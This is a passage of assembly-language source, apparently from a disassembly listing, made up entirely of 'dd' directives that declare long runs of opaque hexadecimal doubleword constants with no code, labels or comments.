		dd 8B5F042h, 10E820A3h,	5C098E2Eh, 78A1BB1h, 5E7E76D4h
		dd 7F696180h, 0EF10DCh,	2DFEC1FCh, 0A7236821h, 5797C0F7h
		dd 0C23058E4h, 0BD591122h, 0F07A003Bh, 950EFB7h, 5A00F9CAh
		dd 4B29E31Eh, 0F6EEBA0Ah, 23140C96h, 6260519Fh,	0D0B73100h
		dd 4E84A610h, 0C92101C7h, 0C3089C4Ah, 0DCB4E53Ah, 0E51679F8h
		dd 8007033h, 9F99DDAFh,	0B0967328h, 31FA0F36h, 0B1800FA2h
		dd 22F354F7h, 0CB3B450Fh, 368E600Bh, 4149E73h, 0C582BEAh
		dd 3B28808Ch, 2173B6F5h, 15E01350h, 0EF406A00h,	3C3EE9BEh
		dd 0AC9A00C2h, 9F17A1BAh, 0B06187Eh, 0CC479771h, 7A930EF0h
		dd 0D4E0DEA0h, 1CBF354Fh, 27A15A0Fh, 0EBCB6049h, 0B0C5B9h
		dd 0DF8F31EEh, 6FA3CD92h, 0B116F400h, 0F0D43A7h, 1125675Fh
		dd 0EF6BD05Ah, 60952D6Eh, 860764h, 9B9AC42Ch, 0F61604Ch
		dd 0DBA97307h, 14E7B306h, 0AC6C1930h, 0E26EC0D2h, 519D5FCDh
		dd 0D1C39F00h, 5C0B15CCh, 5BB000DAh, 7EC1A185h,	733DEC3Ch
		dd 6A00743Eh, 312DA4D1h, 26DC0C8Ch, 80F0F78Dh, 0FFA9B29Ch
		dd 626192Bh, 348050AFh,	3B5ACB6h, 0DFB00D0h, 0C141A8Ah
		dd 0E8004FCAh, 9DB2C74h, 79F4FAh, 4E59218Dh, 0D6AA02C1h
		dd 0BC398B28h, 8843BB12h, 0D335E400h, 484787h, 7BEBB566h
		dd 0ADDC7CD6h, 10678424h, 1F76C800h, 13E79F03h,	9ADBBDh
		dd 0B70848D7h, 0E9007C22h, 0AAE5200Eh, 1EF72D5Fh, 0C0F5AED0h
		dd 3F7F6FA5h, 2A38087Bh, 0A4951C22h, 0DBE50284h, 0FE9C5880h
		dd 2DC50092h, 80B9013Dh, 2B13D05Eh, 0D800B837h,	719E866Fh
		dd 0DFA101B2h, 2008FF40h, 0DC060DAh, 0F0C2653Eh, 6ADE9F00h
		dd 0BDB91537h, 0C1A0057h, 0A338C377h, 0F0A04D62h, 3900C42Dh
		dd 0DCD39EC6h, 0FCDBD94h, 0A004E768h, 0F10E80BEh, 0A487D560h
		dd 41056D07h, 91A08C22h, 1BD249Fh, 75D46ECEh, 40984B2Eh
		dd 200A3D80h, 3E51D31Dh, 5F0072E6h, 0F062A4A8h,	0CE471C52h
		dd 78D700B4h, 193BB9BEh, 4DA29300h, 1D0F9AFAh, 0F5908Bh
		dd 4C28FCE0h, 7475F44Bh, 0B3F80A00h, 7E44985Fh,	0B6AB009Bh
		dd 0B5F7922Dh, 0DE0FEC58h, 92071EEBh, 0A28C1000h, 0DC0FD9h
		dd 13BCF608h, 0A6444F58h, 40EE5898h, 99FDEC00h,	0B9FC03D0h
		dd 647800BFh, 0AA19CB1Ch, 1D0029E4h, 0D5C4C911h, 24469A12h
		dd 103A7Ch, 21853CBh, 30ED4122h, 94003C3Bh, 54B5FE8Fh
		dd 1DA5A68Dh, 854CFD84h, 9061E605h, 0A941B110h,	761CCF48h
		dd 6AC28000h, 169ED934h, 601B5955h, 92B5D20Fh, 91C48E80h
		dd 0AA605F54h, 314A84D0h, 0F0EFF356h, 73DFCD04h, 0B44F8E7h
		dd 94585A3Dh, 8CB16C00h, 2860E3A4h, 6271A5E2h, 928F0052h
		dd 25D6D924h, 123C6A59h, 53D16060h, 921AC02Bh, 0D9470978h
		dd 0B0A05B67h, 0FA244809h, 8F001177h, 237B0FCFh, 0E67A0E3h
		dd 0B7B5914Ah, 0E54B7A00h, 0D40F4D26h, 0A01FC1D5h, 13715DDCh
		dd 0A90E04BBh, 808E807Dh
		dd 0AB88C06Ch, 8DD70418h, 0F08610h, 326A0C68h, 67D16DE4h
		dd 0FE006CEAh, 94C99C98h, 0A00B055Ch, 925319ACh, 76D700CCh
		dd 79ED7A54h, 1A903184h, 43BA938h, 8AB13E4h, 0D4993880h
		dd 0EFB5004Bh, 6BF5455h, 0E4010D0Ah, 1DA9433Ch,	0E9B938C7h
		dd 0DAC4A882h, 88E86D11h, 400F7DDh, 0DF9D5EFEh,	0E04F13AEh
		dd 88F100DAh, 0CA2A79C6h, 33E450C9h, 1E521958h,	0A000254h
		dd 703AA0A4h, 58AC6FAAh, 0B5604220h, 5500D349h,	4CA68443h
		dd 2F2EEBh, 7BAFB86Bh, 0BC5C811h, 7E03D97Fh, 2A3D33EEh
		dd 42F2C048h, 0AC9E48A7h, 0F180853Dh, 7E08D407h, 5A001D91h
		dd 3F86BE9Fh, 0D0DBF5h,	0EEA47D0Fh, 5D4C6007h, 0B6B83A00h
		dd 18CDFDB7h, 4D87000Eh, 36489A63h, 1F02A498h, 4EDFA301h
		dd 161860BFh, 61D71C43h, 17A04046h, 5D604B19h, 0AB00E6E8h
		dd 4EA7F26Ch, 1456CD14h, 8E1B9BD3h, 346AF2Ch, 0F8282103h
		dd 4DEC64A0h, 0F2B1E901h, 3C2BED84h, 1E678F8h, 36560DA0h
		dd 0C8431470h, 1118C56Bh, 15E09957h, 48C492CCh,	0AD28171Bh
		dd 3F16E293h, 6000C3CEh, 0FE13CD1Eh, 0DB00F015h, 4686ABEDh
		dd 729E6C47h, 0DCF4008Dh, 8CB8EAF2h, 0EE5C3428h, 0BEDF00B0h
		dd 0F1AA226Dh, 43B10069h, 0FA3AAE79h, 573D38A1h, 5AC20071h
		dd 9FCE60E2h, 8B9E0317h, 0B2285BE6h, 0FA948050h, 0A500BA75h
		dd 796C6085h, 0B973D5h,	0B3A3872Dh, 0AF6A32C2h,	5B18C00h
		dd 2F3F4BCAh, 0D6BB241Bh, 6B920EF8h, 21B3D281h,	0DA1ED14Eh
		dd 81A76F40h, 80B52B39h, 80C44049h, 356014h, 0D3E4D09Bh
		dd 0CD114D7Dh, 0A4078E09h, 6B60807Eh, 360C90Dh,	23FBC58Ch
		dd 0B3884A20h, 1B00969Bh, 2899ECB9h, 30862CBBh,	5802958h
		dd 0D20CE173h, 7892EB7Bh, 0EE810C7Dh, 0AB202890h, 18D1BE07h
		dd 52808DFBh, 24D74909h, 7107588h, 50D4B7D9h, 0A58B599Ah
		dd 0BC87DB0Dh, 25E048B3h, 7173075Dh, 0F7120ACDh, 0ECA66059h
		dd 8D009D51h, 1F3CC604h, 0D0AF78h, 9E16FBE9h, 0AD0301C9h
		dd 1B4AD307h, 0CCB05F98h, 55939A0h, 177F9DCBh, 0EF508057h
		dd 3E3F11FEh, 3B870308h, 0BE9A99BFh, 42130098h,	0CDABD116h
		dd 0C826C4A6h, 7000B563h, 0E77B1BCBh, 0E91A0E66h, 2BE04020h
		dd 7E6BC577h, 7709F0Fh,	0E20642F6h, 900AC39Eh, 7656F76Dh
		dd 83E3002Ah, 0CC5B968Fh, 81000336h, 67FF32DAh,	9A5E663h
		dd 140982E8h, 21070C01h, 0DBBCC040h, 26FCC400h,	8565AB73h
		dd 9A550059h, 79E1C034h, 461D227Dh, 2E00D7A5h, 74F3A714h
		dd 70DF0009h, 62509268h, 0EA2EBAA3h, 0F700AC01h, 5411A0E7h
		dd 0D7D55h, 0A799894Fh,	0F16D1FDBh, 415AC02h, 609605B5h
		dd 58A0F3h, 0CF9538D9h,	884C6519h, 0E0160602h, 60DB151Ch
		dd 0F388E86h, 62BFAF71h, 0C039D265h, 65BB696h, 804CB039h
		dd 0D12089C4h, 4FB31Bh,	0D4FFDEA9h, 0F6D8A0EAh,	0D9153Ah
		dd 0CDE13467h, 3A49ACD3h, 622EF333h, 11120069h,	0ADD5D61Dh
		dd 0D1754F07h, 0EDA03187h, 74342D7Eh, 0E0A7EE58h, 0EEF603F9h
		dd 0A1B1648Fh, 995C7CA0h, 3500237Eh, 496B26F4h,	7CB8ADD6h
		dd 0F0BA3D42h, 9832F100h, 0F6F713ACh, 4BE6D100h, 7F929318h
		dd 0E8D4ABE4h, 3E25DE2Fh, 0A687EE28h, 2058FCBEh, 53B51AACh
		dd 87EA0D90h, 5B4F3C04h, 0CF08F49h, 0BBEE0131h,	0BF73322Ah
		dd 0D842E092h, 3E471900h, 673C8424h, 0D1710333h, 0DE803039h
		dd 0EFCF509Fh, 58391801h, 0CA628109h, 0A9602991h, 9B27C440h
		dd 340B0389h, 14E642FFh, 17A6101Ch, 79AAEE40h, 0DC94F043h
		dd 347B8080h, 97C8194Ch, 998E5D30h, 314B00Eh, 3C8AF622h
		dd 45A0E620h, 4A00E956h, 0CA51076Ah, 78114614h,	35E0B2h
		dd 0B75855EBh, 93BFD7A9h, 0C0F52301h, 186F2FE6h, 5FEFF0h
		dd 0D5242568h, 5D10FD74h, 42AC2007h, 0A7B3A070h, 8AEEC018h
		dd 0ED9C2E97h, 45898F40h, 0A694A402h, 0D38A58A0h, 0EC33198Eh
		dd 0BC5C20EDh, 4B1F1648h, 9F13C786h, 181EF8F8h,	5891AB4Ah
		dd 6618EF42h, 1540A0BFh, 0A01000Bh, 2CCCB22Dh, 4800EED5h
		dd 0C5DF29F6h, 0A8AE67h, 0C38B5C15h, 742A96DCh,	507A3F4h
		dd 78A9138Ah, 0A1457210h, 8C5A0075h, 0C7E07902h, 9876979Ah
		dd 3B9B3C00h, 0B5F6D7Fh, 357414h, 67331ED6h, 58B6B5F6h
		dd 2A5348h, 7175624Eh, 2E27A87Ah, 13A6196h, 0CAB57F4Dh
		dd 5F97F034h, 13528F03h, 0F1A45610h, 8D60373Eh,	70587E2Bh
		dd 667719h, 0A927576Eh,	3BCC506Ah, 9E18E3Fh, 0C329EF82h
		dd 0E00FD068h, 0AFF71EFFh, 0E0A0EA8h, 0AB34B895h, 6E9C0FB4h
		dd 28610900h, 8F67150Ah, 0DD412C21h, 118078B8h,	0FAEE5A26h
		dd 1CA01027h, 0AB30D40Bh, 0DA981134h, 939510DDh, 41181EA0h
		dd 0FEF6846h, 0CC1B0291h, 921C0977h, 6737E4A0h,	0ECA4C052h
		dd 1D8BE8C0h, 1F67D69h,	8857799Dh, 80193A92h, 6B188AA8h
		dd 3A8B001h, 28545E77h,	0E000A14Fh, 0BD91434Bh,	0C010EB85h
		dd 46B8298h, 63039A64h,	93B90390h, 0E7A5900Fh, 3D137CC4h
		dd 251B0CC0h, 76BA10F8h, 3E000070h, 232F7236h, 793C6644h
		dd 256F0746h, 80752BD6h, 9B733A1Ch, 502ECE3Ah, 4A784CD0h
		dd 66034175h, 60681E2Ah, 0E1A7A240h, 6DFD35CBh,	5B45C8h
		dd 31395218h, 482F404Ch, 352E6A00h, 1F297359h, 25690A2Ch
		dd 0E6383D8Ah, 624820DFh, 0A11842D5h, 64D01BE0h, 0C04AF038h
		dd 6F1ED4B0h, 32013B2Fh, 36204B18h, 0A7E0E075h,	1B290348h
		dd 3E4C494Ah, 393353C0h, 45184FFAh, 56D1678Ah, 5AE0F343h
		dd 8A38D668h, 0C049088h, 109592EFh, 80150A20h, 80C8BCAAh
		dd 13CB5C11h, 28127D4Bh, 0C80A6595h, 1C2AE848h,	2F638B73h
		dd 0C1106E19h, 8423BF8h, 11C4498h, 9DF4F060h, 40A3A639h
		dd 0E8839A2Ch, 29001048h, 889A0CA5h, 0A00C3888h, 0E930C10Dh
		dd 83ED1D8Fh, 0FF287C59h, 84A10664h, 40AB2A15h,	0E705627h
		dd 839B6350h, 2C590A6Ch, 85788414h, 89F6E56h, 0E477C658h
		dd 9BF23B4Eh, 0E6BF91Dh, 0DD5595B0h, 3BA87B4Ch,	7949389h
		dd 6D86C840h, 3B8FF70h,	44D52993h, 1FA1AA19h, 0A60C414Dh
		dd 6297E109h, 2B2670BCh, 9500C010h, 150C3A5Fh, 0F934B05Eh
		dd 9222E4F3h, 0E5BB1120h, 13C51708h, 8F8B001Eh,	0DB2A4E9Fh
		dd 0FA9B0CA0h, 149A0DF0h, 58758D28h, 40EA0E05h,	643A8F20h
		dd 5F263422h, 0F50AF02Ah, 0BC208C5Bh, 0B8407C42h, 2F2C840Fh
		dd 19867417h, 1419F98Dh, 0F88BAB37h, 142D39C0h,	5C988A41h
		dd 48480C42h, 6364FF10h, 0B8F5540h, 0FAAFE0C1h,	1493C019h
		dd 4302E46Ah, 281938D5h, 98C47C64h, 1041F109h, 8C5D1F93h
		dd 68A43291h, 83A61109h, 8E410A01h, 4B61880Fh, 0AC61AB38h
		dd 65E26441h, 2098C414h, 5D83A594h, 2909258h, 3AEC4D1Eh
		dd 440C44B9h, 80AE8A96h, 1998F555h, 4092F50Ch, 78EA308Ch
		dd 295404B1h, 9A887C9Fh, 5CC2E048h, 0ABA0F402h,	926D1922h
		dd 0D320C194h, 28C88AFAh, 64817908h, 0A2805004h, 0C98A8FDh
		dd 8C1A95C7h, 474F3804h, 95E20CCFh, 0DB290115h,	22C4EC81h
		dd 850C22A8h, 98331580h, 1B170C46h, 3FAC2507h, 0F504C89Ch
		dd 0B1D95310h, 0C8A027A6h, 4A0658A5h, 0B949612h, 0D862144Ah
		dd 0AB74106Bh, 5061D54Bh, 315FEF2h, 2AFB5B0Dh, 0D15351F6h
		dd 86AC58A8h, 537991B8h, 3055D8CDh, 95584DF2h, 2C494C17h
		dd 5F8123AAh, 3DBFEC11h, 97E118E9h, 9324910h, 5BBF5D8Eh
		dd 1210481h, 2C9811C5h
		dd 20950B03h, 4C155DCCh, 54180E60h, 0E690BC70h,	639B0888h
		dd 7031070Ch, 1F04F60Dh, 0E853E29Ch, 678043Ch, 1479695Ah
		dd 0EF3C70E8h, 80471EF9h, 3C47D895h, 9DBDDB0Eh,	0D018E4B1h
		dd 92FDC330h, 6BC031Ch,	0BF05856Eh, 63343EA8h, 7B997F38h
		dd 7D4C39h, 9B215E96h, 0E717246h, 6397764Bh, 1040370Ch
		dd 5F6DCF00h, 0AD2D6C23h, 0C8DD3EF9h, 7860E400h, 2FCA673Dh
		dd 0EC515A00h, 4231145Bh, 125F0097h, 340CB780h,	0E23AE624h
		dd 0B6D5014Fh, 0C0682095h, 0FD396C22h, 0F8943C87h, 4D42A008h
		dd 0A70797E4h, 24E17462h, 0F7153940h, 0FC0B01CFh, 93C40F1h
		dd 0FA204085h, 0C9A1211h, 80E38AF8h, 0A4B11019h, 7E2C1Bh
		dd 24BA8672h, 410B68D2h, 54C00126h, 0E7C0C247h,	162396CAh
		dd 37A781Ah, 0D150B14h,	0AC3358A6h, 0F0166108h,	0EF67A5h
		dd 0A983610h, 4A744713h, 0BB6E7600h, 6ADE0259h,	0F73C0396h
		dd 0C2458173h, 0DDF2A8C0h, 3BBB610Fh, 0A08087DCh, 7CF4298Ch
		dd 0ED470162h, 0CC60F9AEh, 0B72EC42Bh, 910FB90Fh, 863F20B0h
		dd 1661485h, 0CFAEABC1h, 0F0084709h, 0B00067FBh, 5EA11744h
		dd 39828FB1h, 0C21F7507h, 0E585C0AEh, 3505227Bh, 564A2800h
		dd 0B745B066h, 5D4EC3DDh, 2001A6ADh, 536D42C2h,	204E06F7h
		dd 81735B11h, 9EC06275h, 0EF2D90FFh, 380B605Bh,	0D4345544h
		dd 0AF545200h, 0F184FE9Ch, 748CFB4h, 0D95D99BCh, 2DFD42Bh
		dd 0B3497F00h, 0FA23EA60h, 7D080C64h, 33F0689Ch, 96D1BF18h
		dd 307BA230h, 39185E98h, 0A340D50Fh, 0D82D0F8Ch, 5480A68Bh
		dd 0B24A5344h, 8EC1FCE9h, 0E0C7AC00h, 0C5E48033h, 0A909CC2Bh
		dd 0B4036E21h, 0A2BA4CC7h, 0D948A825h, 182F7001h, 0F068023Fh
		dd 0AE0CCED0h, 0E0C5A8B4h, 66A100A3h, 73313801h, 49660760h
		dd 0FC21A509h, 80E45Fh,	1EB74D67h, 0E09C1164h, 0B400077Ch
		dd 0F97BB336h, 366DE98h, 50A604FBh, 0D0F0ABC3h,	70C0C8FAh
		dd 0FC7CE7A4h, 9DD8C293h, 0B0A00ABEh, 78808588h, 9C4B84A0h
		dd 92FE0801h, 0B84A4024h, 0A570D980h, 805AFF94h, 0E8001690h
		dd 6EE2D6D4h, 6DE9EFAh,	0B1CBF94Eh, 0AE733137h,	1BC44154h
		dd 65EA8600h, 1C5CC229h, 379C007h, 89AAF1E0h, 4092F603h
		dd 0A3930620h, 444000FAh, 0CDF1F7E1h, 0E7097CC9h, 208D7461h
		dd 0F9B1D020h, 202F09D1h, 5C00A1CBh, 7118A0DAh,	310C07E8h
		dd 18FEF738h, 0D55D189Bh, 0B34A389Ah, 80050A3h,	0EAFAEE81h
		dd 33B4549Fh, 0B19B1A9h, 0F6263C88h, 84AA8D01h,	7D2C60C9h
		dd 636B0D20h, 0B3ABA98Eh, 3F4F3101h, 116EDE4Bh,	783795C4h
		dd 9B8D0C48h, 1E7179D3h, 0C4705300h, 0BB96BE88h, 4685032Bh
		dd 49A0F964h, 0C51E99C6h, 414E4DC2h, 7017E794h,	4F4953A0h
		dd 581F4A4h, 0EB2B393Fh, 899C1B4Bh, 0F9676AA0h,	904890B0h
		dd 546984B0h, 51219E00h, 770C9ABFh, 9178D3F2h, 9462006Eh
		dd 16A199D7h, 8B03D569h, 0A3F1F20Bh, 5BFE878h, 3C88909Ch
		dd 93A07D8Eh, 84756E04h, 0CB00AD07h, 0C0BE1D2Bh, 8DFB6306h
		dd 18807E7Dh, 6974D432h, 0EA07950Eh, 8DFC6B5Ch,	25784680h
		dd 0DBFE0251h, 90B4C840h, 0F8B9040h, 2EE40082h,	0A0D65338h
		dd 3BF29CE0h, 2000DDB4h, 0D169296h, 0C300A873h,	8331DCA9h
		dd 0DCB1CFF8h, 41D68C38h, 42006479h, 1CFB4E87h,	66C3B2A6h
		dd 216E0844h, 873B7D03h, 934D2F7Ah, 964004C6h, 91F9FBFFh
		dd 0E1B10728h, 1C8C3437h, 525C0448h, 40017720h,	23D9EDCCh
		dd 0C4225CF2h, 838AA1Ah, 66E0D800h, 0CC0850A3h,	808F5239h
		dd 443A5C8Eh, 0C9292F43h, 0A80CE4A3h, 0D861AEh,	75919F56h
		dd 15995967h, 0DDAC812Ch, 2C81EA3Dh, 142CE960h,	7B6107A2h
		dd 3305A92Ah, 9BA09DB2h, 60492833h, 5A750204h, 57065BC3h
		dd 89B416E0h, 0A4929E1Dh, 70482D04h, 413384D0h,	0C4DB05C3h
		dd 0F6BBFBAh, 1B1EFF8h,	0D9D4BB08h, 0C5F49BC6h,	3C4484A5h
		dd 448E3F01h, 0A9BE2985h, 0B3F00384h, 21054034h, 3D89629Eh
		dd 0BA49B806h, 698000D1h, 84169BBDh, 0C2015286h, 39CAB6D0h
		dd 0DC23423Ah, 0ED092E30h, 7A07D1B7h, 812AB46Bh, 0B02059D5h
		dd 15A2E5Dh, 0AF2F04DDh, 53AA8675h, 4E61B2ACh, 2F9BF989h
		dd 0F7D0B435h, 358F16ACh, 54084490h, 3358C341h,	21AA89F9h
		dd 60C7E184h, 7B8C5008h, 33DF11ABh, 80AA88B8h, 61C7B36Bh
		dd 9D00E687h, 6675166h,	30F73ABCh, 9B58B781h, 202BBD0h
		dd 0E2013788h, 53744021h, 62300AC6h, 8E4CEF9h, 9E025595h
		dd 0C3D71359h, 0C05E9420h, 6F2F8C6Ch, 8D02BB9Ch, 6D4C6BCBh
		dd 2C6451h, 38F14C9h, 0BF1816Eh, 0EBA1B409h, 0FC900383h
		dd 0F5BA1A5h, 6E7024h, 17A08C5Ch, 0E329FE60h, 1283F248h
		dd 0F05DE98Dh, 0E034AD00h, 50872FB2h, 4A4A8A0h,	17302D99h
		dd 0A39880F3h, 0B7445138h, 0E9220008h, 71DE9395h, 7C30D39Eh
		dd 313B39A1h, 80837820h, 8491A9A6h, 94C7D00h, 0F34A46Dh
		dd 3576A1B9h, 82F3761h,	0AA10349Fh, 25A8F3Eh, 1E24F30h
		dd 0DC8940C8h, 368B240h, 382F95ACh, 3059EDFBh, 4455C220h
		dd 0A5E8B03Ah, 33E111C7h, 899F88C8h, 300AD75h, 0A555FB5Dh
		dd 0CF2CBA59h, 821A2315h, 8E80FD09h, 7250B48Dh,	5F0A09F8h
		dd 51039E43h, 0D1F04BE2h, 0AC4864E7h, 8025835Ch, 0C2868713h
		dd 0E9512E30h, 0B004F34h, 1C6779E3h, 68D40554h,	42FE6F0Ah
		dd 0C313A00Ah, 82A5A04Eh, 6195C87Dh, 0EDECADD8h, 134908Bh
		dd 0F7DD7B12h, 91845585h, 9D00B1B9h, 8D6F8A2Dh,	7D148986h
		dd 2EA043A8h, 467C5863h, 0D4B179Ch, 287DFC0Eh, 5BBA00B5h
		dd 0AB2FBBF9h, 0BC256024h, 2BCA6030h, 3A85FA22h, 0D72CE738h
		dd 2C10BC3Ch, 4306129Ah, 1C09DC52h, 40F4B2F1h, 4DFB67E4h
		dd 6888F444h, 87508480h, 2048C10h, 0D2EFA005h, 4460D48Ah
		dd 450254EDh, 27202DA7h, 0F9A0800Eh, 1205B361h,	6828F51h
		dd 91AE91D4h, 9458352Eh, 69073183h, 0A31809A4h,	804EB43Ch
		dd 12396B40h, 4EB35804h, 2F243030h, 0E04487FDh,	2001E97Dh
		dd 0E2C30504h, 0C4A738A9h, 20879B20h, 0C9FEC888h, 0CCF5883h
		dd 8F9EC802h, 66043ABFh, 92722C14h, 0C03B1DB7h,	108B3F0Eh
		dd 8F09AB2Dh, 20F11327h, 2C6F8EC0h, 0E79531FEh,	9CAFA838h
		dd 0B80641h, 0CB9458E6h, 0B1569A40h, 74C2488h, 0C0A5F901h
		dd 0FC5B2F91h, 0CEC350C3h, 0ED20C80Ch, 90AD00E8h, 935CF6DBh
		dd 0A450C955h, 8490E198h, 84A8A95Ch, 7BC0957Dh,	783EE53h
		dd 3FB025C0h, 542C20DAh, 0F0000C4Ch, 0EF47946Ch, 58686B8Ah
		dd 0F20E5886h, 0C01C042Bh, 83138841h, 0E8F3FBF5h, 2D28F79Ah
		dd 551CD8A5h, 7DC31A0h,	129330C5h, 18B5980Bh, 39B757C0h
		dd 0D0001B3Bh, 875DBE8Dh, 0BC92095Bh, 3600E0B0h, 74E33CACh
		dd 7E03FA9h, 229C452Bh,	141345AEh, 7B94ACAAh, 117C4F18h
		dd 6AF42AB3h, 0A8826409h, 3CA77E91h, 0D18BF200h, 50704986h
		dd 522C4D00h, 84284593h, 0ADE73BA9h, 0F4C0A300h, 254391BDh
		dd 0C9DF4850h, 6B23420Eh, 6D2280C6h, 4A0182h, 665A21D5h
		dd 0AAACC293h, 0FAA77500h, 0AED864B2h, 0CCC81D91h, 0CD003EB0h
		dd 0AB5A6AAFh, 3C031E7Eh, 717FB9EFh, 64C1E003h,	0A7FA00D4h
		dd 34AEC06Eh, 8178DB63h, 36D3C63Ah, 1F112878h, 12C0ABCBh
		dd 72F703BFh, 61C0FADAh, 341E7ED4h, 741FA875h, 7CAED201h
		dd 0ABE0D171h, 383F064h, 0ECCC73A6h, 0B846E71Bh, 8FE0BE04h
		dd 7D00CF97h, 0ECD67275h
		dd 0A5D75EC1h, 2B98BD18h, 0B0641014h, 37FB38h, 0A4D98A31h
		dd 0C45F48Fh, 13B9015Bh, 0B407BC18h, 33EE6D25h,	377004C0h
		dd 0AE48C059h, 3FC72875h, 861D3Ch, 1F980A72h, 135C11h
		dd 661CB8D1h, 0B04B8D28h, 5B21CB07h, 0C7239B1Bh, 57B9800Bh
		dd 55DF0B17h, 9580DD3Eh, 0E0D0F548h, 72288200h,	211B96ADh
		dd 18C4600Ch, 8CF99DAEh, 181A70C1h, 40406DACh, 60D9E87Dh
		dd 16A8D9DAh, 0E1E9235Dh, 0F818D36Fh, 0BBC0C527h, 27CA447h
		dd 0F914D9FAh, 1B3C952Ah, 0A2C55C59h, 0FE9943C7h, 683026C7h
		dd 18313798h, 0F09868EAh, 95635101h, 3BCA9F8h, 0EF1864BCh
		dd 0B14008F3h, 0E20C8EF0h, 66AB5072h, 0B11F78CFh, 391CE71Fh
		dd 0C3828CEBh, 3C9AA3FCh, 1380F660h, 15738A68h,	8C0221E8h
		dd 53935A00h, 0CE9C4C63h, 0C9220EEh, 0DCD7C71Eh, 0E8AC81BBh
		dd 0E6C4B8EBh, 258928FFh, 485B6448h, 0E1289C69h, 605E6491h
		dd 0FB2B0991h, 6EF8D1EDh, 1E7C1C38h, 80BB1472h,	0D87087F9h
		dd 37734AFh, 5E83ABD1h,	0FEC7A5C0h, 3B783796h, 0C1B05001h
		dd 0F0546178h, 0B00E5C6h, 0ABCEC886h, 0A0D7190h, 63D1845h
		dd 53BE6144h, 0B408EC48h, 44EA72Bh, 74145401h, 0C4D0B50h
		dd 81F10800h, 89707C77h, 0DD304C23h, 1F0848E3h,	0F88617F8h
		dd 4E3581DAh, 24E491A0h, 0B194CC61h, 89BCA10h, 22486564h
		dd 0B3302D95h, 0E9593AFDh, 0DF881052h, 6F3C8391h, 7C084646h
		dd 70014A41h, 3102F361h, 0D3F09C6Dh, 0CC35261h,	8CFAF615h
		dd 0DD065090h, 28948ADFh, 1564A4A4h, 17481609h,	31223091h
		dd 89232244h, 241D121Ch, 911F481Eh, 44192218h, 44894B4Ah
		dd 46244512h, 3980474Fh, 0ECFE8B12h, 0E6E00E7Eh, 1F65F4A4h
		dd 842D20B8h, 580497FAh, 8A1E86Fh, 87BC4009h, 1B01231Ah
		dd 8B59201Ch, 0C4F034E8h, 772200D3h, 2421AA42h,	1A037214h
		dd 204C15B1h, 0A354A3D9h, 0C6BCC3A1h, 60644040h, 80A4AF40h
		dd 0CA0743D2h, 0E815A721h, 48A6C374h, 43FF4BFh,	951EACFAh
		dd 0AC98898h, 0F5978504h, 0A5F9314h, 55382367h,	0A67DA381h
		dd 1210F196h, 432A7B4h,	28110910h, 4211448h, 3EBAABFh
		dd 4E4F02A0h, 0CDA6E82Bh, 0B0BE181Ch, 65DF21E6h, 0EF7038A5h
		dd 161201DBh, 9D52D79Ah, 3764F046h, 8DA18C3h, 233AE89Fh
		dd 0BBE014ADh, 0C73E1C34h, 0AFD3E3Ch, 1E0189E2h, 0EA2F4528h
		dd 70BBE470h, 41DF6E94h, 3014D166h, 6175EB00h, 717C7FDAh
		dd 66A701C6h, 0C1800CE8h, 9182E06Dh, 5ABE730Eh,	0B0D2206Ah
		dd 15D17177h, 14E6AAADh, 5A0684CFh, 630030CFh, 71B3ABDBh
		dd 0C0917ED2h, 777CAF58h, 72FA7FAAh, 1BF0D403h,	88A6C0B2h
		dd 0FEEB2362h, 0E9D6305Dh, 0AB82D018h, 0AC0ED8F0h, 9BC062A7h
		dd 0E9287D80h, 7E78B3E8h, 30B97E63h, 5C78D65Fh,	31C383D2h
		dd 7461C1AEh, 0AACC2959h, 1A8A10Ch, 0D47076EBh,	0D178C47Fh
		dd 6FC0AB00h, 777DAEC6h, 3DCA6CDh, 338C2796h, 4BC0D110h
		dd 22603C97h, 1DB40A20h, 0BDF57F53h, 94F758C2h,	5A8C0E90h
		dd 30A006C5h, 0FE55CB3h, 6D0022E6h, 1D3FB138h, 4C4F98h
		dd 1CD0F5F1h, 9E181B8Ah, 0A5943201h, 0B4B04BFFh, 91F82025h
		dd 0D5B90CC0h, 0DA7131B6h, 2CE85B03h, 0ECE4C9Eh, 0E2686228h
		dd 2D534A81h, 0BCB5071Fh, 21141862h, 9001A59Bh,	0D89ED068h
		dd 0FCE33124h, 0C4A1ED5Fh, 34542C01h, 163522D2h, 0C5150103h
		dd 8FA4048h, 0A21C5B25h, 0B6D20CFAh, 3101591Dh,	330CDD4h
		dd 0F0798CD6h, 3057315Dh, 0C5283169h, 2403B901h, 13EF30FEh
		dd 5207320h, 56DED695h,	61D0081Dh, 413139C4h, 1B5F1835h
		dd 31EB1F98h, 0B97A56DBh, 2A0DE818h, 0A5C4E68h,	33F43260h
		dd 0F11E98A4h, 31049D74h, 141D403Fh, 6458D641h,	2318669h
		dd 2818D507h, 554C0C16h, 840158A0h, 631047A5h, 248ABB0h
		dd 84E82A18h, 6DAC0E06h, 1830DF71h, 18203603h, 4CA05ECEh
		dd 58A1E99Fh, 1FE843E7h, 50E29104h, 28845234h, 6014845Fh
		dd 8FC21A4h, 4956599Fh,	0B8B6743Fh, 9085FDFAh, 22928489h
		dd 881E212Bh, 0AEC124B4h, 2842936Dh, 0AAC215AAh, 6AE224DDh
		dd 0A2BEE010h, 237A10C0h, 4AA4E287h, 3208E514h,	0F5DC428Dh
		dd 239C4214h, 5468504Ah, 88CD1085h, 0FC21D482h,	21B444BDh
		dd 0C40F219Ah, 0B96759BCh, 32E35011h, 3B97196Ch, 60326721h
		dd 65B4C10h, 0D4EDBA65h, 3D560D79h, 0A8614D01h,	0B0508440h
		dd 7A06B610h, 39F53C8h,	4C0C8458h, 0DD3C7CE4h, 91C63B40h
		dd 44706138h, 10CE1D45h, 0A1211953h, 6AA48C35h,	2CC861D0h
		dd 0EC74429Dh, 33F03483h, 96A3937h, 0D6DC47C0h,	11456FA5h
		dd 64BD26C2h, 5901A091h, 80F04D98h, 9E5FC241h, 4041580Eh
		dd 57001947h, 5C0AE2FAh, 0F0EC0FA3h, 8AD8C0FCh,	87ACD478h
		dd 0B9EE9300h, 7DDA73AAh, 1621F0A6h, 6FA5DFh, 0D70391B4h
		dd 5B03B2B0h, 0E8557DC6h, 5E75E0F0h, 900F3AA7h,	0B81A516h
		dd 180EE0ECh, 740C019Fh, 8BB4D864h, 1AFAB40h, 79E1CCC8h
		dd 40094471h, 3CB44860h, 1900737Dh, 0A6D6931Bh,	4CF16491h
		dd 0DF3A2330h, 7DD6947Fh, 74E2C11Ch, 0E800D772h, 0AA2EABE0h
		dd 78140462h, 9514CB60h, 0D17242FCh, 0EFB44855h, 1574B865h
